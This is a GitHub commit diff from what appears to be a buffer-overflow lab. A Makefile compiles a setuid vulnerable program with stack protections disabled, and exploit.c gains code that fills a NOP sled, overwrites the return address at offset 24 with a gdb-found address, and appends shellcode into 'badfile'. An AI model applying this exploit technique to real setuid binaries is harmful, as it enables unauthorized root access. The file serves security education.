File tree 2 files changed +11
-2
lines changed
2 files changed +11
-2
lines changed Original file line number Diff line number Diff line change 2
2
sudo gcc -z execstack -g -fno-stack-protector -o stack stack.c
3
3
sudo chmod 4775 stack
4
4
exploit :
5
- gcc -z execstack -g -fno-stack-protector - o exploit exploit.c
5
+ gcc -o exploit exploit.c
Original file line number Diff line number Diff line change @@ -21,12 +21,21 @@ char shellcode[]=
21
21
void main (int argc , char * * argv )
22
22
{
23
23
char buffer [517 ];
24
+ long addr , * ptr ;
25
+ int i ;
24
26
FILE * badfile ;
25
27
26
28
/* Initialize buffer with 0x90 (NOP instruction) */
27
29
memset (& buffer , 0x90 , 517 );
28
30
29
- /* You need to fill the buffer with appropriate contents here */
31
+ /* You need to fill the buffer with appropriate contents here */
32
+ //Found this using gdb on stack.c
33
+ addr = 0xbffff57c ;
34
+ ptr = (long * ) (buffer );
35
+ //The return address is 24 bytes from the beginning of buffer
36
+ * (ptr + 6 ) = addr ;
37
+ //Put content of shellcode into the end of buffer
38
+ strcpy (buffer + 517 - strlen (shellcode ), shellcode );
30
39
31
40
/* Save the contents to the file "badfile" */
32
41
badfile = fopen ("./badfile" , "w" );
You can’t perform that action at this time.
0 commit comments